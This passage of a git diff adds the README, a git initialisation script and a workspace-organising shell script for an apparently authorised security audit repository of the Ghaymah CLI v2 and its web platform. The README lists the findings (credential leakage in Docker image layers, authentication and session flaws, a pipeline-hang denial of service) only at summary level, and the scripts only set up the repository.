Config Poisoning"] + V4["OWASP A07
Auth Failure"] + end + + subgraph IMPACT ["๐Ÿ’ฅ Impact"] + direction TB + I1["๐Ÿ”‘ Secret Exposure"] + I2["๐Ÿ‘ค Account Takeover"] + I3["โ›” Pipeline DoS"] + end + + CLI --> V1 + CLI --> V3 + WEB --> V2 + WEB --> V4 + + V1 --> I1 + V2 --> I2 + V3 --> I3 + V4 --> I2 + + style SCOPE fill:#0D1117,stroke:#4A90D9,stroke-width:2px,color:#FFFFFF + style VECTORS fill:#0D1117,stroke:#FF6600,stroke-width:2px,color:#FFFFFF + style IMPACT fill:#0D1117,stroke:#FF0000,stroke-width:2px,color:#FFFFFF + style CLI fill:#1a1a2e,stroke:#00C853,color:#FFFFFF + style WEB fill:#1a1a2e,stroke:#4A90D9,color:#FFFFFF + style V1 fill:#1a1a2e,stroke:#FF0000,color:#FFFFFF + style V2 fill:#1a1a2e,stroke:#FF6600,color:#FFFFFF + style V3 fill:#1a1a2e,stroke:#FFAA00,color:#FFFFFF + style V4 fill:#1a1a2e,stroke:#FF0000,color:#FFFFFF + style I1 fill:#1a1a2e,stroke:#FF4444,color:#FFFFFF + style I2 fill:#1a1a2e,stroke:#FF4444,color:#FFFFFF + style I3 fill:#1a1a2e,stroke:#FF4444,color:#FFFFFF +``` + +--- + +
+ +## ๐Ÿ“ Repository Structure + +``` +ghaymah-v2-test/ +โ”‚ +โ”œโ”€โ”€ ๐Ÿ“‚ Assets/ +โ”‚ โ””โ”€โ”€ ๐Ÿ“‚ Screenshots/ # Visual evidence & proof captures +โ”‚ โ”œโ”€โ”€ docker.png # Dockerfile credential exposure +โ”‚ โ”œโ”€โ”€ env.png # .env file leakage in image layers +โ”‚ โ”œโ”€โ”€ logs.png # Backend worker crash logs +โ”‚ โ”œโ”€โ”€ Screenshot_*.png # Session management bypass evidence +โ”‚ โ””โ”€โ”€ ... +โ”‚ +โ”œโ”€โ”€ ๐Ÿ“‚ PoC_Apps/ # Proof-of-Concept applications +โ”‚ โ”œโ”€โ”€ ๐Ÿ“‚ test-app/ # Initial recon & .env leak PoC +โ”‚ โ”œโ”€โ”€ ๐Ÿ“‚ test-app-2/ # RCE boundary testing (auto_rce_test.sh) +โ”‚ โ”œโ”€โ”€ ๐Ÿ“‚ test-app-3/ # Malformed env variable injection +โ”‚ โ”œโ”€โ”€ ๐Ÿ“‚ test-app-5/ # Extended config poisoning tests +โ”‚ โ”œโ”€โ”€ ๐Ÿ“‚ test-app-clean/ # Baseline clean deployment +โ”‚ โ”œโ”€โ”€ ๐Ÿ“‚ test-app-final/ # Final validated Dockerfile +โ”‚ โ”œโ”€โ”€ ๐Ÿ“‚ broken-docker-test/ # Intentionally broken Docker config +โ”‚ โ””โ”€โ”€ ๐Ÿ“‚ invalid-docker-test/ # Invalid config โ†’ pipeline hang PoC +โ”‚ +โ”œโ”€โ”€ ๐Ÿ“‚ Reports/ +โ”‚ โ””โ”€โ”€ ๐Ÿ“„ Ghaymah_CLI_v2_Audit_Report.pdf # Full audit report (PDF) +โ”‚ +โ”œโ”€โ”€ ๐Ÿ“„ .gitignore # Ignores binary, .env, OS artifacts +โ”œโ”€โ”€ ๐Ÿ“„ organize.sh # Workspace organization script +โ””โ”€โ”€ ๐Ÿ“„ README.md # โ† You are here +``` + +--- + +
+ +## ๐Ÿงช PoC Navigation Guide + +
+๐Ÿ“‚ How to reproduce the findings + +
+ +Each folder inside `PoC_Apps/` is a standalone application that was deployed through the Ghaymah CLI to validate a specific vulnerability. They are ordered chronologically by testing phase: + +### Phase 1 โ€” Reconnaissance & Credential Leakage +| Folder | Purpose | Related Finding | +|:---|:---|:---| +| `test-app/` | Initial deployment with `.env` file containing test credentials. Demonstrates that secrets persist in image layers. | Finding 1 (T1552) | +| `test-app-2/` | Includes `auto_rce_test.sh` โ€” automated script probing for command injection boundaries in the build pipeline. | Exploratory | + +### Phase 2 โ€” Configuration Poisoning & DoS +| Folder | Purpose | Related Finding | +|:---|:---|:---| +| `test-app-3/` | Dockerfile with malformed `ENV` directives to test input validation on the backend worker. | Finding 4 (CWE-400) | +| `test-app-5/` | Extended poisoning tests: multi-line values, special characters, oversized payloads. | Finding 4 (CWE-400) | +| `broken-docker-test/` | Intentionally invalid Dockerfile to test error handling and pipeline recovery. | Finding 4 (CWE-400) | +| `invalid-docker-test/` | Invalid Docker configuration that triggers a permanent pipeline hang. | Finding 4 (CWE-400) | + +### Phase 3 โ€” Validation & Baseline +| Folder | Purpose | Related Finding | +|:---|:---|:---| +| `test-app-clean/` | Clean deployment with no malicious payloads โ€” establishes a working baseline. | Baseline | +| `test-app-final/` | Final validated Dockerfile confirming the minimal reproducible deployment. | Baseline | + +> **Note:** Findings 2 (OWASP A07) and 3 (T1539) target the **web platform** and were validated via browser-based testing and API calls, not via PoC apps. + +
+ +--- + +
+ +## ๐Ÿ“Š Methodology + +
+๐Ÿ” Testing Methodology & Frameworks + +
+ +| Framework | Application | +|:---|:---| +| **MITRE ATT&CK** | Technique mapping for CLI-side findings (T1552, T1539) | +| **OWASP Top 10 (2021)** | Web platform assessment (A07: Identification & Authentication Failures) | +| **OWASP ASVS v4.0** | Authentication & session management verification | +| **CWE/CVSS** | Vulnerability classification & severity scoring | +| **Manual Testing** | Custom PoC development, API fuzzing, Docker image inspection | + +### Tools Used +- `gy-linux-amd64` โ€” Ghaymah CLI v2 binary (target under test) +- `docker` โ€” Container runtime for image inspection & layer analysis +- Browser DevTools โ€” Session token inspection & API testing +- Custom shell scripts โ€” Automated RCE boundary testing + +
+ +--- + +
+ +## ๐Ÿ“Ž Full Report + +The comprehensive audit report with detailed technical analysis, risk ratings, and remediation roadmap is available as a PDF: + +
+ +๐Ÿ“„ **[`Reports/Ghaymah_CLI_v2_Audit_Report.pdf`](./Reports/Ghaymah_CLI_v2_Audit_Report.pdf)** + +
+ +--- + +
+ +## โš–๏ธ Disclaimer + +> This security audit was conducted in a controlled testing environment with explicit authorization. All findings are reported responsibly to the platform maintainers. The PoC applications and scripts in this repository are provided for **educational and verification purposes only**. Unauthorized use of these techniques against systems you do not own or have permission to test is **illegal and unethical**. + +--- + +
+ +
+ + + +

+ +**Ziad Mahmoud Ahmed Abdelgwad** +*Cybersecurity Specialist* + +
+ + +  + + +

+ +ยฉ 2026 โ€” All rights reserved. Conducted under responsible disclosure principles. + +
diff --git a/Reports/Ghaymah_CLI_v2_Audit_Report.pdf b/Reports/Ghaymah_CLI_v2_Audit_Report.pdf new file mode 100644 index 0000000..e3c7725 Binary files /dev/null and b/Reports/Ghaymah_CLI_v2_Audit_Report.pdf differ diff --git a/git_init.sh b/git_init.sh new file mode 100644 index 0000000..3193062 --- /dev/null +++ b/git_init.sh @@ -0,0 +1,81 @@ +#!/bin/sh +# ============================================================================ +# Ghaymah CLI v2 Audit โ€” Git Initialization Script +# Author : Ziad Mahmoud Ahmed Abdelgwad +# Usage : sh git_init.sh +# ============================================================================ + +set -eu +WORKSPACE="/root/ghaymah-v2-test" +cd "$WORKSPACE" + +echo "" +echo "โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—" +echo "โ•‘ Ghaymah CLI v2 โ€” Git Repository Initialization โ•‘" +echo "โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•" +echo "" + +# โ”€โ”€ Step 1: Initialize the repository โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +echo "[1/4] Initializing Git repository..." +git init +echo " โœ” Git repository initialized" + +# โ”€โ”€ Step 2: Configure Git identity (adjust as needed) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +echo "" +echo "[2/4] Configuring Git identity..." +git config user.name "Ziad Mahmoud Ahmed Abdelgwad" +git config user.email "your-email@example.com" +echo " โœ” Git user configured" +echo " โš  Update user.email if needed: git config user.email \"you@example.com\"" + +# โ”€โ”€ Step 3: Stage all files โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +echo "" +echo "[3/4] Staging files..." +git add -A +echo " โœ” All files staged" +echo "" +echo " Files staged (excluding .gitignore patterns):" +git status --short + +# โ”€โ”€ Step 4: Initial commit โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +echo "" +echo "[4/4] Creating initial commit..." +git commit -m "๐Ÿ›ก๏ธ feat: Ghaymah CLI v2 โ€” Security & QA Audit Repository + +Comprehensive security audit of the Ghaymah CLI v2 and web platform. + +Findings: + - [CRITICAL] T1552: Dockerfile & .env Credential Leakage + - [CRITICAL] OWASP A07: Missing OTP & Unverified Password Change + - [HIGH] T1539: Session Token Revocation Bypass + - [MED/HIGH] CWE-400: Configuration Poisoning DoS (Pipeline Hang) + +Includes: + - 8 Proof-of-Concept applications (PoC_Apps/) + - Visual evidence & screenshots (Assets/Screenshots/) + - Full PDF audit report (Reports/) + - Mermaid.js attack flow diagrams in README + +Auditor: Ziad Mahmoud Ahmed Abdelgwad โ€” Cybersecurity Specialist" + +echo "" +echo " โœ” Initial commit created" + +# โ”€โ”€ Post-init instructions โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +echo "" +echo "โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—" +echo "โ•‘ โœ… Repository initialized successfully! โ•‘" +echo "โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•" +echo "" +echo " Next steps โ€” Add your remote and push:" +echo "" +echo " git remote add origin https://github.com/gitpasha/ghaymah-v2-test.git" +echo " git branch -M main" +echo " git push -u origin main" +echo "" +echo " Or if using SSH:" +echo "" +echo " git remote add origin git@github.com:gitpasha/ghaymah-v2-test.git" +echo " git branch -M main" +echo " git push -u origin main" +echo "" diff --git a/organize.sh b/organize.sh new file mode 100644 index 0000000..b5b87d5 --- /dev/null +++ b/organize.sh @@ -0,0 +1,161 @@ +#!/bin/bash +# ============================================================================ +# Ghaymah CLI v2 โ€” Audit Workspace Organizer +# Author : Ziad Mahmoud Ahmed Abdelgwad +# Date : 2026-08-19 +# Purpose: Restructure the raw audit workspace into a clean, professional +# directory layout suitable for version control and publication. +# ============================================================================ + +set -euo pipefail +WORKSPACE="/root/ghaymah-v2-test" +cd "$WORKSPACE" + +echo "" +echo "โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—" +echo "โ•‘ Ghaymah CLI v2 โ€” Workspace Organizer โ•‘" +echo "โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•" +echo "" + +# โ”€โ”€ Step 1: Create the target directory structure โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +echo "[1/5] Creating directory structure..." +mkdir -p PoC_Apps +mkdir -p Assets/Screenshots +mkdir -p Reports +echo " โœ” PoC_Apps/" +echo " โœ” Assets/Screenshots/" +echo " โœ” Reports/" + +# โ”€โ”€ Step 2: Move all PoC application folders into PoC_Apps โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +echo "" +echo "[2/5] Moving PoC application folders โ†’ PoC_Apps/" + +for dir in test-app test-app-2 test-app-3 test-app-5 test-app-clean test-app-final; do + if [ -d "$dir" ]; then + mv "$dir" PoC_Apps/ + echo " โœ” $dir โ†’ PoC_Apps/$dir" + else + echo " โš  $dir not found, skipping." + fi +done + +for dir in broken-docker-test invalid-docker-test; do + if [ -d "$dir" ]; then + mv "$dir" PoC_Apps/ + echo " โœ” $dir โ†’ PoC_Apps/$dir" + else + echo " โš  $dir not found, skipping." + fi +done + +# โ”€โ”€ Step 3: Migrate screenshots โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +echo "" +echo "[3/5] Migrating screenshots โ†’ Assets/Screenshots/" + +if [ -d "screenshoots" ]; then + # Copy contents into the properly-named directory + cp -r screenshoots/* Assets/Screenshots/ 2>/dev/null || true + # Remove the old misspelled directory + rm -rf screenshoots + echo " โœ” screenshoots/* โ†’ Assets/Screenshots/" + echo " โœ” Removed old 'screenshoots' directory" +else + echo " โš  screenshoots/ not found, skipping." +fi + +# Rename screenshot files with cleaner names (spaces โ†’ underscores) +cd Assets/Screenshots +for f in *; do + clean_name=$(echo "$f" | tr ' ' '_') + if [ "$f" != "$clean_name" ]; then + mv "$f" "$clean_name" + echo " โœ” Renamed: $f โ†’ $clean_name" + fi +done +cd "$WORKSPACE" + +# โ”€โ”€ Step 4: Move the audit report โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +echo "" +echo "[4/5] Moving audit report โ†’ Reports/" + +if [ -f "Ghaymah_CLI_v2_Audit_Report.pdf" ]; then + mv Ghaymah_CLI_v2_Audit_Report.pdf Reports/ + echo " โœ” Ghaymah_CLI_v2_Audit_Report.pdf โ†’ Reports/" +fi + +# Clean up Zone.Identifier files (Windows artifact) +find . -name "*.Zone.Identifier" -delete 2>/dev/null || true +echo " โœ” Cleaned up .Zone.Identifier files" + +# โ”€โ”€ Step 5: Generate .gitignore โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +echo "" +echo "[5/5] Generating .gitignore..." + +cat > .gitignore << 'GITIGNORE' +# ============================================================================ +# Ghaymah CLI v2 Audit โ€” .gitignore +# ============================================================================ + +# โ”€โ”€ CLI Binary (large / proprietary) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +gy-linux-amd64 + +# โ”€โ”€ Windows Zone.Identifier metadata โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +*.Zone.Identifier +*:Zone.Identifier + +# โ”€โ”€ Sensitive environment files โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +.env +.env.* +!.env.example + +# โ”€โ”€ OS-generated files โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +.DS_Store +Thumbs.db +Desktop.ini + +# โ”€โ”€ IDE / Editor files โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +.vscode/ +.idea/ +*.swp +*.swo +*~ + +# โ”€โ”€ Node / build artifacts โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +node_modules/ +dist/ +build/ +*.log +GITIGNORE + +echo " โœ” .gitignore created" + +# โ”€โ”€ Summary โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +echo "" +echo "โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—" +echo "โ•‘ โœ… Workspace organization complete! โ•‘" +echo "โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•" +echo "" +echo "Final structure:" +echo "" +echo " ghaymah-v2-test/" +echo " โ”œโ”€โ”€ Assets/" +echo " โ”‚ โ””โ”€โ”€ Screenshots/" +echo " โ”‚ โ”œโ”€โ”€ docker.png" +echo " โ”‚ โ”œโ”€โ”€ env.png" +echo " โ”‚ โ”œโ”€โ”€ logs.png" +echo " โ”‚ โ””โ”€โ”€ Screenshot_*.png" +echo " โ”œโ”€โ”€ PoC_Apps/" +echo " โ”‚ โ”œโ”€โ”€ test-app/" +echo " โ”‚ โ”œโ”€โ”€ test-app-2/" +echo " โ”‚ โ”œโ”€โ”€ test-app-3/" +echo " โ”‚ โ”œโ”€โ”€ test-app-5/" +echo " โ”‚ โ”œโ”€โ”€ test-app-clean/" +echo " โ”‚ โ”œโ”€โ”€ test-app-final/" +echo " โ”‚ โ”œโ”€โ”€ broken-docker-test/" +echo " โ”‚ โ””โ”€โ”€ invalid-docker-test/" +echo " โ”œโ”€โ”€ Reports/" +echo " โ”‚ โ””โ”€โ”€ Ghaymah_CLI_v2_Audit_Report.pdf" +echo " โ”œโ”€โ”€ .gitignore" +echo " โ”œโ”€โ”€ organize.sh" +echo " โ””โ”€โ”€ README.md" +echo ""